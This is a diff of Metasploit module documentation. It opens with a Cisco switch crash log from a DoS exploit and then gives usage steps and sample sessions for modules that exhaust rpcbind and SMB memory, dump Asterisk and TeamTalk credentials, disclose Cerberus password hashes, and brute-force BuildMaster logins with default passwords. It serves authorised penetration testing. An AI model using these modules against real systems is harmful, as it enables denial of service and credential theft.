booting as Master +Waiting for Port download...Complete +[...] +cisco WS-C3750-48TS (PowerPC405) processor (revision M0) with 131072K bytes of memory. +Processor board ID CAT1017Z2Z2 +Last reset from power-on +1 Virtual Ethernet interface +48 FastEthernet interfaces +4 Gigabit Ethernet interfaces +The password-recovery mechanism is enabled. +[...] +Switch Ports Model SW Version SW Image +------ ----- ----- ---------- ---------- +* 2 52 WS-C3750-48TS 12.2(55)SE10 C3750-IPSERVICESK9-M +[... booted successfully, waiting at a prompt, DoS exploit follows ...] +Switch# + 00:37:15 UTC Mon Mar 1 1993: Unexpected exception to CPUvector 400, PC = 41414140 +-Traceback= 41414140 +Writing crashinfo to flash:/crashinfo_ext/crashinfo_ext_1 +=== Flushing messages (00:37:19 UTC Mon Mar 1 1993) === +Buffered messages: +00:00:26: %STACKMGR-4-SWITCH_ADDED: Switch 1 has been ADDED to the stack +00:00:27: %LINEPROTO-5-UPDOWN: Line protocol on Interface Vlan1, changed state to down +00:00:29: %SPANTREE-5-EXTENDED_SYSID: Extended SysId enabled for type vlan +00:00:50: %STACKMGR-5-SWITCH_READY: Switch 1 is READY +00:00:50: %STACKMGR-4-STACK_LINK_CHANGE: Stack Port 1 Switch 1 has changed to state DOWN +00:00:50: %STACKMGR-4-STACK_LINK_CHANGE: Stack Port 2 Switch 1 has changed to state DOWN +00:00:50: %STACKMGR-5-MASTER_READY: Master Switch 1 is READY +00:00:50: %SYS-5-RESTART: System restarted -- +Cisco IOS Software, C3750 Software (C3750-IPBASEK9-M), Version 12.2(35)SE5, RELEASE SOFTWARE (fc1) +Copyright (c) 1986-2007 by Cisco Systems, Inc. +Compiled Fri 20-Jul-07 01:58 by nachen +00:01:48: %SYS-5-CONFIG_I: Configured from console by console +00:27:53: %LINK-3-UPDOWN: Interface FastEthernet1/0/1, changed state to up +00:27:54: %LINEPROTO-5-UPDOWN: Line protocol on Interface FastEthernet1/0/1, changed state to up +00:28:22: %LINEPROTO-5-UPDOWN: Line protocol on Interface Vlan1, changed state to up +00:30:00: %LINEPROTO-5-UPDOWN: Line protocol on Interface FastEthernet1/0/1, changed state to down +00:30:00: %LINEPROTO-5-UPDOWN: Line protocol on Interface Vlan1, changed state to down +00:30:01: %LINK-3-UPDOWN: Interface FastEthernet1/0/1, changed state to down +00:32:44: %LINK-3-UPDOWN: Interface FastEthernet1/0/1, changed state to up +00:32:45: %LINEPROTO-5-UPDOWN: Line protocol on Interface FastEthernet1/0/1, changed state to up +00:33:13: %LINEPROTO-5-UPDOWN: Line protocol on Interface Vlan1, changed state to up +Queued messages: +Cisco IOS Software, C3750 Software (C3750-IPBASEK9-M), Version 12.2(35)SE5, RELEASE SOFTWARE (fc1) +Copyright (c) 1986-2007 by Cisco Systems, Inc. +Compiled Fri 20-Jul-07 01:58 by nachen +Instruction Access Exception (0x0400)! +SRR0 = 0x41414140 SRR1 = 0x00029230 SRR2 = 0x00648990 SRR3 = 0x00021200 +ESR = 0x00000000 DEAR = 0x00000000 TSR = 0x8C000000 DBSR = 0x00000000 +CPU Register Context: +Vector = 0x00000400 PC = 0x41414140 MSR = 0x00029230 CR = 0x53000005 +LR = 0x41414141 CTR = 0x0004D860 XER = 0xC0000050 +R0 = 0x41414141 R1 = 0x02DDEE80 R2 = 0x00000000 R3 = 0x0358907C +R4 = 0x00000001 R5 = 0xFFFFFFFF R6 = 0x0182C1B0 R7 = 0x00000000 +R8 = 0x00000001 R9 = 0x0290C84C R10 = 0x00000031 R11 = 0x00000000 +R12 = 0x00221C89 R13 = 0x00110000 R14 = 0x00BD7284 R15 = 0x00000000 +R16 = 0x00000000 R17 = 0x00000000 R18 = 0x00000000 R19 = 0x00000000 +R20 = 0xFFFFFFFF R21 = 0x00000000 R22 = 0x00000000 R23 = 0x02DDF078 +R24 = 0x00000000 R25 = 0x00000001 R26 = 0x000003FB R27 = 0x00000024 +R28 = 0x41414141 R29 = 0x41414141 R30 = 0x41414141 R31 = 0x41414141 +Stack trace: +PC = 0x41414140, SP = 0x02DDEE80 +Frame 00: SP = 0x41414141 PC = 0x41414141 +Switch uptime is 37 minutes, 22 seconds +[... rebooting ... ] +Switch Ports Model SW Version SW Image +------ ----- ----- ---------- ---------- +* 1 52 WS-C3750-48TS 12.2(35)SE5 C3750-IPBASEK9-M +Failed to generate persistent self-signed certificate. + Secure server will use temporary self-signed certificate. +Press RETURN to get started! +00:00:26: %STACKMGR-4-SWITCH_ADDED: Switch 1 has been ADDED to the stack +00:00:27: %LINEPROTO-5-UPDOWN: Line protocol on Interface Vlan1, changed state to down +00:00:29: %SPANTREE-5-EXTENDED_SYSID: Extended SysId enabled for type vlan +00:00:31: %SYS-5-CONFIG_I: Configured from memory by console +00:00:31: %STACKMGR-5-SWITCH_READY: Switch 1 is READY +00:00:31: %STACKMGR-4-STACK_LINK_CHANGE: Stack Port 1 Switch 1 has changed to state DOWN +00:00:31: %STACKMGR-4-STACK_LINK_CHANGE: Stack Port 2 Switch 1 h +Switch> +Switch>as changed to state DOWN +00:00:32: %STACKMGR-5-MASTER_READY: Master Switch 1 is READY +00:00:32: %SYS-5-RESTART: System restarted -- +Cisco IOS Software, C3750 Software (C3750-IPBASEK9-M), Version 12.2(35)SE5, RELEASE SOFTWARE (fc1) +Copyright (c) 1986-2007 by Cisco Systems, Inc. +Compiled Fri 20-Jul-07 01:58 by nachen +00:00:33: %LINK-3-UPDOWN: Interface FastEthernet1/0/1, changed state to up +00:00:34: %LINEPROTO-5-UPDOWN: Line protocol on Interface FastEthernet1/0/1, changed state to up +Switch> +Switch> +00:01:04: %LINEPROTO-5-UPDOWN: Line protocol on Interface Vlan1, changed state to up +00:01:32: %PLATFORM-1-CRASHED: System previously crashed with the following message: +00:01:32: %PLATFORM-1-CRASHED: Cisco IOS Software, C3750 Software (C3750-IPBASEK9-M), Version 12.2(35)SE5, RELEASE SOFTWARE (fc1) +00:01:32: %PLATFORM-1-CRASHED: Copyright (c) 1986-2007 by Cisco Systems, Inc. +00:01:32: %PLATFORM-1-CRASHED: Compiled Fri 20-Jul-07 01:58 by nachen +00:01:32: %PLATFORM-1-CRASHED: +00:01:32: %PLATFORM-1-CRASHED: Instruction Access Exception (0x0400)! +00:01:32: %PLATFORM-1-CRASHED: +00:01:32: %PLATFORM-1-CRASHED: SRR0 = 0x41414140 SRR1 = 0x00029230 SRR2 = 0x00648990 SRR3 = 0x00021200 +00:01:32: %PLATFORM-1-CRASHED: ESR = 0x00000000 DEAR = 0x00000000 TSR = 0x8C000000 DBSR = 0x00000000 +00:01:32: %PLATFORM-1-CRASHED: +00:01:32: %PLATFORM-1-CRASHED: CPU Register Context: +00:01:32: %PLATFORM-1-CRASHED: Vector = 0x00000400 PC = 0x41414140 MSR = 0x00029230 CR = 0x53000005 +00:01:32: %PLATFORM-1-CRASHED: LR = 0x41414141 CTR = 0x0004D860 XER = 0xC0000050 +00:01:32: %PLATFORM-1-CRASHED: R0 = 0x41414141 R1 = 0x02DDEE80 R2 = 0x00000000 R3 = 0x0358907C +00:01:32: %PLATFORM-1-CRASHED: R4 = 0x00000001 R5 = 0xFFFFFFFF R6 = 0x0182C1B0 R7 = 0x00000000 +00:01:32: %PLATFORM-1-CRASHED: R8 = 0x00000001 R9 = 0x0290C84C R10 = 0x00000031 R11 = 0x00000000 +00:01:32: %PLATFORM-1-CRASHED: R12 = 0x00221C89 R13 = 0x00110000 R14 = 0x00BD7284 R15 = 0x00000000 +00:01:32: %PLATFORM-1-CRASHED: R16 = 0x00000000 R17 = 0x00000000 R18 = 0x00000000 R19 = 0x00000000 +00:01:32: %PLATFORM-1-CRASHED: R20 = 0xFFFFFFFF R21 = 0x00000000 R22 = 0x00000000 R23 = 0x02DDF078 +00:01:32: %PLATFORM-1-CRASHED: R24 = 0x00000000 R25 = 0x00000001 R26 = 0x000003FB R27 = 0x00000024 +00:01:32: %PLATFORM-1-CRASHED: R28 = 0x41414141 R29 = 0x41414141 R30 = 0x41414141 R31 = 0x41414141 +00:01:32: %PLATFORM-1-CRASHED: +00:01:32: %PLATFORM-1-CRASHED: Stack trace: +00:01:32: %PLATFORM-1-CRASHED: PC = 0x41414140, SP = 0x02DDEE80 +00:01:32: %PLATFORM-1-CRASHED: Frame 00: SP = 0x41414141 PC = 0x41414141 +00:01:32: %PLATFORM-1-CRASHED: +``` diff --git a/documentation/modules/auxiliary/dos/rpc/rpcbomb.md b/documentation/modules/auxiliary/dos/rpc/rpcbomb.md new file mode 100644 index 0000000000..3d656d8ca9 --- /dev/null +++ b/documentation/modules/auxiliary/dos/rpc/rpcbomb.md @@ -0,0 +1,29 @@ +## Vulnerable Application + +This module [exploits a vulnerability](http://openwall.com/lists/oss-security/2017/05/03/12) in rpcbind through 0.2.4, +LIBTIRPC through 1.0.1 and 1.0.2-rc through 1.0.2-rc3, and NTIRPC through 1.4.3. + +Exploiting this vulnerability allows an attacker to trigger large (and never freed) memory allocations for XDR strings on the target. + +## Verification Steps + +1. Start msfconsole +1. Do: `use auxiliary/dos/rpc/rpcbomb` +1. Do: `set RHOSTS [IP]` +1. Do: `run` +1. Target should leak memory + +## Scenarios + +### rpcbind 0.2.3-0.2 on Ubuntu 16.04 (amd64) + +``` +msf > use auxiliary/dos/rpc/rpcbomb +msf auxiliary(rpcbomb) > set RHOSTS 10.0.2.7 +RHOSTS => 10.0.2.7 +msf auxiliary(rpcbomb) > run + +[*] Scanned 1 of 1 hosts (100% complete) +[*] Auxiliary module execution completed +msf auxiliary(rpcbomb) > +``` diff --git a/documentation/modules/auxiliary/dos/smb/smb_loris.md b/documentation/modules/auxiliary/dos/smb/smb_loris.md new file mode 100644 index 0000000000..b52819fde6 --- /dev/null +++ b/documentation/modules/auxiliary/dos/smb/smb_loris.md @@ -0,0 +1,43 @@ +## Vulnerable Application + + This module exploits a vulnerability in the NetBIOS Session Service Header for SMB. + Any Windows machine with SMB Exposed, or any Linux system running Samba are vulnerable. + See [the SMBLoris page](http://smbloris.com/) for details on the vulnerability. + + The module opens over 64,000 connections to the target service, so please make sure + your system ULIMIT is set appropriately to handle it. A single host running this module + can theoretically consume up to 8GB of memory on the target. + +## Verification Steps + + Example steps in this format (is also in the PR): + + 1. Start msfconsole + 1. Do: `use auxiliary/dos/smb/smb_loris` + 1. Do: `set RHOST [IP]` + 1. Do: `run` + 1. Target should allocate increasing amounts of memory. + +## Scenarios + +### + +``` +msf auxiliary(smb_loris) > use auxiliary/dos/smb/smb_loris +msf auxiliary(smb_loris) > set RHOST 192.168.172.138 +RHOST => 192.168.172.138 +msf auxiliary(smb_loris) > + +msf auxiliary(smb_loris) > run + +[*] 192.168.172.138:445 - Sending packet from Source Port: 1025 +[*] 192.168.172.138:445 - Sending packet from Source Port: 1026 +[*] 192.168.172.138:445 - Sending packet from Source Port: 1027 +[*] 192.168.172.138:445 - Sending packet from Source Port: 1028 +[*] 192.168.172.138:445 - Sending packet from Source Port: 1029 +[*] 192.168.172.138:445 - Sending packet from Source Port: 1030 +[*] 192.168.172.138:445 - Sending packet from Source Port: 1031 +[*] 192.168.172.138:445 - Sending packet from Source Port: 1032 +[*] 192.168.172.138:445 - Sending packet from Source Port: 1033 +.... +``` diff --git a/documentation/modules/auxiliary/gather/advantech_webaccess_creds.md b/documentation/modules/auxiliary/gather/advantech_webaccess_creds.md index d67840386a..ae4bdd45f9 100644 --- a/documentation/modules/auxiliary/gather/advantech_webaccess_creds.md +++ b/documentation/modules/auxiliary/gather/advantech_webaccess_creds.md @@ -24,7 +24,7 @@ http://advcloudfiles.advantech.com/web/Download/webaccess/8.1/AdvantechWebAccess ## Verification Steps 1. Start msfconsole -2. ```use auxiliary/gahter/advantech_webaccess_creds``` +2. ```use auxiliary/gather/advantech_webaccess_creds``` 3. ```set WEBACCESSUSER [USER]``` 4. ```set WEBACCESSPASS [PASS]``` 5. ```run``` diff --git a/documentation/modules/auxiliary/gather/asterisk_creds.md b/documentation/modules/auxiliary/gather/asterisk_creds.md new file mode 100644 index 0000000000..b936d24698 --- /dev/null +++ b/documentation/modules/auxiliary/gather/asterisk_creds.md @@ -0,0 +1,62 @@ +## Description + + This module retrieves SIP and IAX2 user extensions and credentials from Asterisk Call Manager service. + + Valid manager credentials are required. + + +## Vulnerable Application + + [Asterisk](http://www.asterisk.org/get-started/features) offers both classical PBX functionality and advanced features, and interoperates with traditional standards-based telephony systems and Voice over IP systems. + + This module has been tested successfully on: + + * Asterisk Call Manager version 2.10.0 on Asterisk 13.16.0 + * Asterisk Call Manager version 1.1 on Asterisk 1.6.2.11 + + The following software comes with Asterisk preinstalled and can be used for testing purposes: + + * [FreePBX](https://www.freepbx.org/downloads/) + * [VulnVoIP](https://www.rebootuser.com/?p=1069) + + Note that Asterisk will reject valid authentication credentials when connecting from a network that has not been permitted using the `permit` directive (or is specifically denied in the `deny` directive) in the Asterisk manager configuration file `/etc/asterisk/manager.conf`. + + +## Verification Steps + + 1. Start `msfconsole` + 2. Do: `use auxiliary/gather/asterisk_creds` + 3. Do: `set rhost ` + 4. Do: `set rport ` (default: `5038`) + 5. Do: `set username ` (default: `admin`) + 6. Do: `set password ` (default: `amp111`) + 7. Do: `run` + 8. You should get credentials + + +## Scenarios + + ``` + [*] 172.16.191.229:5038 - Found Asterisk Call Manager version 2.10.0 + [+] 172.16.191.229:5038 - Authenticated successfully + [*] 172.16.191.229:5038 - Found 9 users + + Asterisk User Credentials + ========================= + + Username Secret Type + -------- ------ ---- + 100 sip + 103 bbf5d449753391a sip + 104 273db6cd9ca402f53354 iax2 + 105 secret password sip + 106 "_" ;) iax2 + 107 123456789 sip + 108 ~!@#$%^&*()_+{} sip + 109 antidisestablishment iax2 + 123 y2u.be/VOaZbaPzdsk iax2 + + [+] 172.16.191.229:5038 - Credentials saved in: /root/.msf4/loot/20170723052316_default_172.16.191.229_asterisk.user.cr_798166.txt + [*] Auxiliary module execution completed + ``` + diff --git a/documentation/modules/auxiliary/gather/censys_search.md b/documentation/modules/auxiliary/gather/censys_search.md index fb243e2805..92ea6fe952 100644 --- a/documentation/modules/auxiliary/gather/censys_search.md +++ b/documentation/modules/auxiliary/gather/censys_search.md @@ -9,9 +9,9 @@ The module use the Censys REST API to access the same data accessible through we 5: Do: `set CENSYS_DORK rapid7` 6: Do: `run` -## Sample Output +## Scenarios -#### Certificates Search +### Certificates Search ``` msf auxiliary(censys_search) > set CENSYS_DORK rapid7 diff --git a/documentation/modules/auxiliary/gather/cerberus_helpdesk_hash_disclosure.md b/documentation/modules/auxiliary/gather/cerberus_helpdesk_hash_disclosure.md new file mode 100644 index 0000000000..12bdbeb9e0 --- /dev/null +++ b/documentation/modules/auxiliary/gather/cerberus_helpdesk_hash_disclosure.md @@ -0,0 +1,82 @@ +## Description + +This module opens a `devblocks_cache---ch_workers` or `zend_cache---ch_workers` file which contains a +data structure with username and password hash (MD5) credentials. The contents looks similar to JSON, however it is not. + +## Vulnerable Application + +This module has been verified against the following Cerberus Helpdesk versions: + +1. Version 4.2.3 Stable (Build 925) +2. Version 5.4.4 + +However it may also work up to, but not including, version 6.7 + +Version 5.4.4 is available on [exploit-db.com](https://www.exploit-db.com/apps/882596e791e54529b29ecbc6f48a6cb7-cerb5-5_4_4.zip) + +* of note, 5.4.4 has to be installed on a PRE php7 environment. + +## Verification Steps + +1. Start msfconsole +2. ```use auxiliary/gather/cerberus_helpdesk_hash_disclosure``` +3. ```set rhosts [rhosts]``` +4. ```run``` + +## Scenarios + +### 4.2.3 using zend (not verbose) + + ``` + msf > use auxiliary/gather/cerberus_helpdesk_hash_disclosure + msf auxiliary(cerberus_helpdesk_hash_disclosure) > set rhosts 1.1.1.1 + rhosts => 1.1.1.1 + msf auxiliary(cerberus_helpdesk_hash_disclosure) > run + + [-] Invalid response received for 1.1.1.1 for /storage/tmp/devblocks_cache---ch_workers + [+] Found: admin:aaa34a6111abf0bd1b1c4d7cd7ebb37b + [+] Found: example:112302c209fe8d73f502c132a3da2b1c + [+] Found: foobar:0d108d09e5bbe40aade3de5c81e9e9c7 + + Cerberus Helpdesk User Credentials + ================================== + + Username Password Hash + -------- ------------- + admin aaa34a6111abf0bd1b1c4d7cd7ebb37b + example 112302c209fe8d73f502c132a3da2b1c + foobar 0d108d09e5bbe40aade3de5c81e9e9c7 + + [*] Scanned 1 of 1 hosts (100% complete) + [*] Auxiliary module execution completed + ``` + +### 5.4.4 using devblocks + + ``` + msf > use auxiliary/gather/cerberus_helpdesk_hash_disclosure + msf auxiliary(cerberus_helpdesk_hash_disclosure) > set rhosts 192.168.2.45 + rhosts => 192.168.2.45 + msf auxiliary(cerberus_helpdesk_hash_disclosure) > set targeturi /cerb5/ + targeturi => /cerb5/ + msf auxiliary(cerberus_helpdesk_hash_disclosure) > set verbose true + verbose => true + msf auxiliary(cerberus_helpdesk_hash_disclosure) > run + + [*] Attempting to load data from /cerb5/storage/tmp/devblocks_cache---ch_workers + [+] Found: bar@none.com:37b51d194a7513e45b56f6524f2d51f2 + [+] Found: foo@none.com:acbd18db4cc2f85cedef654fccc4a4d8 + [+] Found: mike@shorebreaksecurity.com:18126e7bd3f84b3f3e4df094def5b7de + + Cerberus Helpdesk User Credentials + ================================== + + Username Password Hash + -------- ------------- + bar@none.com 37b51d194a7513e45b56f6524f2d51f2 + foo@none.com acbd18db4cc2f85cedef654fccc4a4d8 + admin@example.com 18126e7bd3f84b3f3e4df094def5b7de + + [*] Scanned 1 of 1 hosts (100% complete) + [*] Auxiliary module execution completed + ``` diff --git a/documentation/modules/auxiliary/gather/http_pdf_authors.md b/documentation/modules/auxiliary/gather/http_pdf_authors.md new file mode 100644 index 0000000000..f115fe4fb6 --- /dev/null +++ b/documentation/modules/auxiliary/gather/http_pdf_authors.md @@ -0,0 +1,87 @@ +This module downloads PDF files and extracts the author's name from the document metadata. + +## Verification Steps + + 1. Start `msfconsole` + 2. Do: `use auxiliary/gather/http_pdf_authors` + 3. Do: `set URL [URL]` + 4. Do: `run` + + +## Options + +**URL** + +The URL of a PDF to analyse. + +**URL_LIST** + +File containing a list of PDF URLs to analyze. + +**OUTFILE** + +File to store extracted author names. + + +## Scenarios + +### URL + + ``` + msf auxiliary(http_pdf_authors) > set url http://127.0.0.1/test4.pdf + url => http://127.0.0.1/test4.pdf + msf auxiliary(http_pdf_authors) > run + + [*] Processing 1 URLs... + [*] Downloading 'http://127.0.0.1/test4.pdf' + [*] HTTP 200 -- Downloaded PDF (38867 bytes) + [+] PDF Author: Administrator + [*] 100.00% done (1/1 files) + + [+] Found 1 authors: Administrator + [*] Auxiliary module execution completed + ``` + +### URL_LIST with OUTFILE + + ``` + msf auxiliary(http_pdf_authors) > set outfile /root/output + outfile => /root/output + msf auxiliary(http_pdf_authors) > set url_list /root/urls + url_list => /root/urls + msf auxiliary(http_pdf_authors) > run + + [*] Processing 8 URLs... + [*] Downloading 'http://127.0.0.1:80/test.pdf' + [*] HTTP 200 -- Downloaded PDF (89283 bytes) + [*] 12.50% done (1/8 files) + [*] Downloading 'http://127.0.0.1/test2.pdf' + [*] HTTP 200 -- Downloaded PDF (636661 bytes) + [+] PDF Author: sqlmap developers + [*] 25.00% done (2/8 files) + [*] Downloading 'http://127.0.0.1/test3.pdf' + [*] HTTP 200 -- Downloaded PDF (167478 bytes) + [+] PDF Author: Evil1 + [*] 37.50% done (3/8 files) + [*] Downloading 'http://127.0.0.1/test4.pdf' + [*] HTTP 200 -- Downloaded PDF (38867 bytes) + [+] PDF Author: Administrator + [*] 50.00% done (4/8 files) + [*] Downloading 'http://127.0.0.1/test5.pdf' + [*] HTTP 200 -- Downloaded PDF (34312 bytes) + [+] PDF Author: ekama + [*] 62.50% done (5/8 files) + [*] Downloading 'http://127.0.0.1/doesnotexist.pdf' + [*] HTTP 404 -- Downloaded PDF (289 bytes) + [-] Could not parse PDF: PDF is malformed + [*] 75.00% done (6/8 files) + [*] Downloading 'https://127.0.0.1/test.pdf' + [-] Connection failed: Failed to open TCP connection to 127.0.0.1:443 (Connection refused - connect(2) for "127.0.0.1" port 443) + [*] Downloading 'https://127.0.0.1:80/test.pdf' + [-] Connection failed: SSL_connect returned=1 errno=0 state=unknown state: unknown protocol + + [+] Found 4 authors: sqlmap developers, Evil1, Administrator, ekama + [*] Writing data to /root/output... + [*] Auxiliary module execution completed + ``` + diff --git a/documentation/modules/auxiliary/gather/teamtalk_creds.md b/documentation/modules/auxiliary/gather/teamtalk_creds.md new file mode 100644 index 0000000000..9229e4d649 --- /dev/null +++ b/documentation/modules/auxiliary/gather/teamtalk_creds.md @@ -0,0 +1,53 @@ +## Description + + This module retrieves user credentials from BearWare TeamTalk. + + Valid administrator credentials are required. + + Starting from version 5, TeamTalk allows users to login using a username and password combination. The username and password are stored on the server in clear text and can be retrieved remotely by any user with administrator privileges. + + +## Vulnerable Application + + [TeamTalk 5](http://www.bearware.dk/) is a freeware conferencing system which allows multiple users to participate in audio and video conversations. The TeamTalk install file includes both client and server application. A special client application is included with accessibility features for visually impaired. + + This module has been tested successfully on TeamTalk versions 5.2.2.4885 and 5.2.3.4893. + + The TeamTalk software is available on the [BearWare website](http://www.bearware.dk/) and on [GitHub](https://github.com/BearWare/TeamTalk5). + + +## Verification Steps + + 1. Start `msfconsole` + 2. Do: `use auxiliary/gather/teamtalk_creds` + 3. Do: `set rhost ` + 4. Do: `set rport ` (default: `10333`) + 5. Do: `set username ` (default: `admin`) + 6. Do: `set password ` (default: `admin`) + 7. Do: `run` + 8. You should get credentials + + +## Scenarios + + ``` + [*] 172.16.191.166:10333 - Found TeamTalk (protocol version 5.2) + [+] 172.16.191.166:10333 - Authenticated successfully + [+] 172.16.191.166:10333 - User is an administrator + [*] 172.16.191.166:10333 - Found 5 users + + TeamTalk User Credentials + ========================= + + Username Password Type + -------- -------- ---- + debbie 1234567890 1 + murphy 934txs 2 + quinn ~!@#$%^&*()_+{}|:" <>?;',./ 2 + sparks password 2 + stormy 1 + + [+] 172.16.191.166:10333 - Credentials saved in: /root/.msf4/loot/20170724092809_default_172.16.191.166_teamtalk.user.cr_034806.txt + [*] Auxiliary module execution completed + ``` + diff --git a/documentation/modules/auxiliary/scanner/ftp/anonymous.md b/documentation/modules/auxiliary/scanner/ftp/anonymous.md index dbb0f5b27d..f36a25ff6c 100644 --- a/documentation/modules/auxiliary/scanner/ftp/anonymous.md +++ b/documentation/modules/auxiliary/scanner/ftp/anonymous.md @@ -57,9 +57,9 @@ This module allows us to scan through a series of IP Addresses and provide detai 3. Do: ```set RPORT [IP]``` 4. Do: ```run``` -## Sample Output +## Scenarios -### On vsFTPd 3.0.3 on Kali +### vsFTPd 3.0.3 on Kali ``` msf > use auxiliary/scanner/ftp/anonymous diff --git a/documentation/modules/auxiliary/scanner/ftp/ftp_login.md b/documentation/modules/auxiliary/scanner/ftp/ftp_login.md index 9d6c7a671d..f9eadd3a64 100644 --- a/documentation/modules/auxiliary/scanner/ftp/ftp_login.md +++ b/documentation/modules/auxiliary/scanner/ftp/ftp_login.md @@ -47,7 +47,8 @@ This module will test FTP logins on a range of machines and report successful lo 3. Do: ```set RPORT [IP]``` 4. Do: ```run``` -## Sample Output +## Scenarios + ``` msf> use auxiliary/scanner/ftp/ftp_login msf auxiliary(ftp_login) > set RHOSTS ftp.openbsd.org diff --git a/documentation/modules/auxiliary/scanner/ftp/ftp_version.md b/documentation/modules/auxiliary/scanner/ftp/ftp_version.md index 86e9b01cae..60347345d4 100644 --- a/documentation/modules/auxiliary/scanner/ftp/ftp_version.md +++ b/documentation/modules/auxiliary/scanner/ftp/ftp_version.md @@ -47,9 +47,9 @@ This module allows us to scan through a series of IP Addresses and provide detai 3. Do: ```set RPORT [IP]``` 4. Do: ```run``` -## Sample Output +## Scenarios -### On vsFTPd 3.0.3 on Kali +### vsFTPd 3.0.3 on Kali ``` msf > use auxiliary/scanner/ftp/ftp_version diff --git a/documentation/modules/auxiliary/scanner/http/binom3_login_config_pass_dump.md b/documentation/modules/auxiliary/scanner/http/binom3_login_config_pass_dump.md index cdfc0f1acb..727e28d2f4 100644 --- a/documentation/modules/auxiliary/scanner/http/binom3_login_config_pass_dump.md +++ b/documentation/modules/auxiliary/scanner/http/binom3_login_config_pass_dump.md @@ -1,4 +1,13 @@ -This module scans for Binom3 Multifunctional Revenue Energy Meter and Power Quality Analyzer management login portal(s), and attempts to identify valid credentials. There are four (4) default accounts - 'root'/'root', 'admin'/'1', 'alg'/'1', 'user'/'1'. In addition to device config, 'root' user can also access password file. Other users - admin, alg, user - can only access configuration file. The module attempts to download configuration and password files depending on the login user credentials found. +This module scans for Binom3 Multifunctional Revenue Energy Meter and Power Quality Analyzer management login portal(s), and attempts to identify valid credentials. +There are four (4) default accounts: + +1. root/root +2. admin/1 +3. alg/1 +4. user/1 + +In addition to device config, 'root' user can also access password file. Other users - admin, alg, user - can only access configuration file. +The module attempts to download configuration and password files depending on the login user credentials found. ## Verification Steps @@ -7,7 +16,7 @@ This module scans for Binom3 Multifunctional Revenue Energy Meter and Power Qual 3. Do: ```set RPORT [PORT]``` 4. Do: ```run``` -## Sample Output +## Scenarios ``` msf > use auxiliary/scanner/http/binom3_login_config_pass_dump diff --git a/documentation/modules/auxiliary/scanner/http/buildmaster_login.md b/documentation/modules/auxiliary/scanner/http/buildmaster_login.md new file mode 100644 index 0000000000..0402f34ef0 --- /dev/null +++ b/documentation/modules/auxiliary/scanner/http/buildmaster_login.md @@ -0,0 +1,59 @@ +## Description + +This module allows you to authenticate to Inedo BuildMaster, an application release automation tool. +The default credentials for BuildMaster are Admin/Admin. Gaining privileged access to BuildMaster can lead to remote code execution. + +## Vulnerable Application + +[Inedo's Windows installation guide](http://inedo.com/support/documentation/buildmaster/installation/windows-guide) + +[Inedo website](http://inedo.com/) + +## Verification Steps + +1. Do: ```use auxiliary/scanner/http/buildmaster_login``` +2. Do: ```set RHOSTS [IP]``` +3. Do: ```set RPORT [PORT]``` +4. Do: Set credentials +5. Do: ```run``` +6. You should see the module attempting to log in. + +## Scenarios + +### Attempt to login with the default credentials. + +``` +msf > use auxiliary/scanner/http/buildmaster_login +msf auxiliary(buildmaster_login) > set RHOSTS 10.0.0.39 +RHOSTS => 10.0.0.39 +msf auxiliary(buildmaster_login) > run + +[+] 10.0.0.39:81 - Identified BuildMaster 5.7.3 (Build 1) +[*] 10.0.0.39:81 - Trying username:"Admin" with password:"Admin" +[+] SUCCESSFUL LOGIN - 10.0.0.39:81 - "Admin":"Admin" +[*] Scanned 1 of 1 hosts (100% complete) +[*] Auxiliary module execution completed +msf auxiliary(buildmaster_login) > +``` + +### Brute force with credentials from file. + +``` +msf > use auxiliary/scanner/http/buildmaster_login +msf auxiliary(buildmaster_login) > set RHOSTS 10.0.0.39 +RHOSTS => 10.0.0.39 +msf auxiliary(buildmaster_login) > set USERPASS_FILE ~/BuildMasterCreds.txt +USERPASS_FILE => ~/BuildMasterCreds.txt +msf auxiliary(buildmaster_login) > run + +[+] 10.0.0.39:81 - Identified BuildMaster 5.7.3 (Build 1) +[*] 10.0.0.39:81 - Trying username:"Admin" with password:"test" +[-] FAILED LOGIN - 10.0.0.39:81 - "Admin":"test" +[*] 10.0.0.39:81 - Trying username:"Admin" with password:"wrong" +[-] FAILED LOGIN - 10.0.0.39:81 - "Admin":"wrong" +[*] 10.0.0.39:81 - Trying username:"Admin" with password:"Admin" +[+] SUCCESSFUL LOGIN - 10.0.0.39:81 - "Admin":"Admin" +[*] Scanned 1 of 1 hosts (100% complete) +[*] Auxiliary module execution completed +msf auxiliary(buildmaster_login) > +``` diff --git a/documentation/modules/auxiliary/scanner/http/chromecast_webserver.md b/documentation/modules/auxiliary/scanner/http/chromecast_webserver.md index 49801c5f45..dbc813c245 100644 --- a/documentation/modules/auxiliary/scanner/http/chromecast_webserver.md +++ b/documentation/modules/auxiliary/scanner/http/chromecast_webserver.md @@ -6,9 +6,9 @@ This module is a scanner which enumerates Google Chromecast via its HTTP interfa 2. Do: ```set RHOSTS [IP]``` 3. Do: ```run``` -## Sample Output +## Scenarios -Of note, all 3 of the devices are the 1st generation Google Chromecast (USB stick looking, not circular) +### All 3 of the devices are the 1st generation Google Chromecast (USB stick looking, not circular) ``` msf > use auxiliary/scanner/http/chromecast_webserver diff --git a/documentation/modules/auxiliary/scanner/http/chromecast_wifi.md b/documentation/modules/auxiliary/scanner/http/chromecast_wifi.md index b9e2e88091..44584372fd 100644 --- a/documentation/modules/auxiliary/scanner/http/chromecast_wifi.md +++ b/documentation/modules/auxiliary/scanner/http/chromecast_wifi.md @@ -6,9 +6,9 @@ This module is a scanner which enumerates WiFi access points visible from a Goog 2. Do: ```set RHOSTS [IP]``` 3. Do: ```run``` -## Sample Output +## Scenarios -Of note, all 3 of the devices are the 1st generation Google Chromecast (USB stick looking, not circular) +### All 3 of the devices are the 1st generation Google Chromecast (USB stick looking, not circular) ``` msf > use auxiliary/scanner/http/chromecast_wifi diff --git a/documentation/modules/auxiliary/scanner/http/cisco_firepower_login.md b/documentation/modules/auxiliary/scanner/http/cisco_firepower_login.md index 1a0a10b5f6..7a56164b27 100644 --- a/documentation/modules/auxiliary/scanner/http/cisco_firepower_login.md +++ b/documentation/modules/auxiliary/scanner/http/cisco_firepower_login.md @@ -17,7 +17,7 @@ https://software.cisco.com/download/release.html?mdfid=286259687&softwareid=2862 1. Make sure Cisco Firepower Management console's HTTPS service is running 2. Start ```msfconsole``` -3. ```use auxiliary/scanner/http/cisco_firepower_login.rb +3. ```use auxiliary/scanner/http/cisco_firepower_login.rb``` 4. ```set RHOSTS [IP]``` 5. Set credentials 6. ```run``` diff --git a/documentation/modules/auxiliary/scanner/http/crawler.md b/documentation/modules/auxiliary/scanner/http/crawler.md index 0dedb947c3..3ef998b739 100644 --- 